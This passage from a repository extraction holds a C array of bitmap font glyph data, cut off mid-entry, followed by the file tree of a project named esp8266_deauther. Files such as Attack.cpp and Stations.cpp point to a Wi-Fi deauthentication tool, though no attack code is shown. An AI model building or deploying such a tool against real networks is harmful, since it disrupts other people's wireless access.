0x08, 0x3A, 0x0E, 0x07, // 201:2106
0x08, 0x48, 0x0E, 0x07, // 202:2120
0x08, 0x56, 0x0E, 0x07, // 203:2134
0x08, 0x64, 0x0C, 0x07, // 204:2148
0x08, 0x70, 0x0C, 0x07, // 205:2160
0x08, 0x7C, 0x0C, 0x07, // 206:2172
0x08, 0x88, 0x0C, 0x07, // 207:2184
0x08, 0x94, 0x0E, 0x07, // 208:2196
0x08, 0xA2, 0x0E, 0x07, // 209:2210
0x08, 0xB0, 0x0E, 0x07, // 210:2224
0x08, 0xBE, 0x0E, 0x07, // 211:2238
0x08, 0xCC, 0x0E, 0x07, // 212:2252
0x08, 0xDA, 0x0E, 0x07, // 213:2266
0x08, 0xE8, 0x0E, 0x07, // 214:2280
0x08, 0xF6, 0x0C, 0x07, // 215:2294
0x09, 0x02, 0x0E, 0x07, // 216:2306
0x09, 0x10, 0x0E, 0x07, // 217:2320
0x09, 0x1E, 0x0E, 0x07, // 218:2334
0x09, 0x2C, 0x0E, 0x07, // 219:2348
0x09, 0x3A, 0x0E, 0x07, // 220:2362
0x09, 0x48, 0x0D, 0x07, // 221:2376
0x09, 0x55, 0x0D, 0x07, // 222:2389
0x09, 0x62, 0x0C, 0x07, // 223:2402
0x09, 0x6E, 0x0C, 0x07, // 224:2414
0x09, 0x7A, 0x0C, 0x07, // 225:2426
0x09, 0x86, 0x0C, 0x07, // 226:2438
0x09, 0x92, 0x0C, 0x07, // 227:2450
0x09, 0x9E, 0x0C, 0x07, // 228:2462
0x09, 0xAA, 0x0C, 0x07, // 229:2474
0x09, 0xB6, 0x0C, 0x07, // 230:2486
0x09, 0xC2, 0x0C, 0x07, // 231:2498
0x09, 0xCE, 0x0C, 0x07, // 232:2510
0x09, 0xDA, 0x0C, 0x07, // 233:2522
0x09, 0xE6, 0x0C, 0x07, // 234:2534
0x09, 0xF2, 0x0C, 0x07, // 235:2546
0x09, 0xFE, 0x0C, 0x07, // 236:2558
0x0A, 0x0A, 0x0C, 0x07, // 237:2570
0x0A, 0x16, 0x0C, 0x07, // 238:2582
0x0A, 0x22, 0x0C, 0x07, // 239:2594
0x0A, 0x2E, 0x0C, 0x07, // 240:2606
0x0A, 0x3A, 0x0C, 0x07, // 241:2618
0x0A, 0x46, 0x0C, 0x07, // 242:2630
0x0A, 0x52, 0x0C, 0x07, // 243:2642
0x0A, 0x5E, 0x0C, 0x07, // 244:2654
0x0A, 0x6A, 0x0C, 0x07, // 245:2666
0x0A, 0x76, 0x0C, 0x07, // 246:2678
0x0A, 0x82, 0x0C, 0x07, // 247:2690
0x0A, 0x8E, 0x0C, 0x07, // 248:2702
0x0A, 0x9A, 0x0C, 0x07, // 249:2714
0x0A, 0xA6, 0x0C, 0x07, // 250:2726
0x0A, 0xB2, 0x0C, 0x07, // 251:2738
0x0A, 0xBE, 0x0C, 0x07, // 252:2750
0x0A, 0xCA, 0x0B, 0x07, // 253:2762
0x0A, 0xD5, 0x0C, 0x07, // 254:2773
0x0A, 0xE1, 0x0B, 0x07, // 255:2785
// Font Data:
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33
0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34
0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35
0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36
0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37
0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46
0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49
0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50
0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51
0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52
0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53
0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54
0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55
0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56
0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59
0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60
0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61
0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67
0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73
0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75
0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76
0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77
0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82
0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83
0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85
0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86
0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87
0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89
0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91
0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93
0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94
0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97
0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102
0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103
0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105
0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106
0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107
0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108
0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109
0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111
0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113
0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114
0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117
0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118
0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119
0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121
0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124
0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162
0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163
0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164
0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166
0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169
0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170
0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176
0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180
0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181
0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185
0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186
0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189
0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190
0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191
0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194
0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196
0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197
0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199
0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203
0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207
0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208
0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209
0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, //
gitextract_old4i_09/
├── .github/
│ ├── CODE_OF_CONDUCT.md
│ ├── CONTRIBUTING.md
│ ├── FUNDING.yml
│ ├── ISSUE_TEMPLATE/
│ │ ├── 1--error-report.md
│ │ ├── 2--question.md
│ │ ├── 3--feature-request.md
│ │ ├── 4--bug-report.md
│ │ └── 5--documentation.md
│ ├── ISSUE_TEMPLATE.md
│ ├── config.yml
│ ├── stale.yml
│ └── workflows/
│ └── nightly.yml
├── .gitignore
├── LICENSE
├── README.md
├── Reset_Sketch/
│ ├── README.md
│ └── Reset_Sketch.ino
├── arduino-cli.yaml
├── esp8266_deauther/
│ ├── A_config.h
│ ├── Accesspoints.cpp
│ ├── Accesspoints.h
│ ├── Attack.cpp
│ ├── Attack.h
│ ├── CLI.cpp
│ ├── CLI.h
│ ├── DisplayUI.cpp
│ ├── DisplayUI.h
│ ├── EEPROMHelper.h
│ ├── Names.cpp
│ ├── Names.h
│ ├── SSIDs.cpp
│ ├── SSIDs.h
│ ├── Scan.cpp
│ ├── Scan.h
│ ├── SimpleList.h
│ ├── Stations.cpp
│ ├── Stations.h
│ ├── debug.h
│ ├── esp8266_deauther.ino
│ ├── functions.h
│ ├── language.h
│ ├── led.cpp
│ ├── led.h
│ ├── oui.h
│ ├── settings.cpp
│ ├── settings.h
│ ├── src/
│ │ ├── Adafruit_DotStar-1.1.4/
│ │ │ ├── Adafruit_DotStar.cpp
│ │ │ ├── Adafruit_DotStar.h
│ │ │ └── license.txt
│ │ ├── Adafruit_NeoPixel-1.7.0/
│ │ │ ├── Adafruit_NeoPixel.cpp
│ │ │ ├── Adafruit_NeoPixel.h
│ │ │ ├── COPYING
│ │ │ └── esp8266.c
│ │ ├── ArduinoJson-v5.13.5/
│ │ │ └── ArduinoJson.h
│ │ ├── DS3231-1.0.3/
│ │ │ ├── DS3231.cpp
│ │ │ ├── DS3231.h
│ │ │ └── LICENSE
│ │ ├── SimpleButton/
│ │ │ ├── Buttons/
│ │ │ │ ├── AnalogStick.cpp
│ │ │ │ ├── AnalogStick.h
│ │ │ │ ├── Button.cpp
│ │ │ │ ├── Button.h
│ │ │ │ ├── ButtonAnalog.cpp
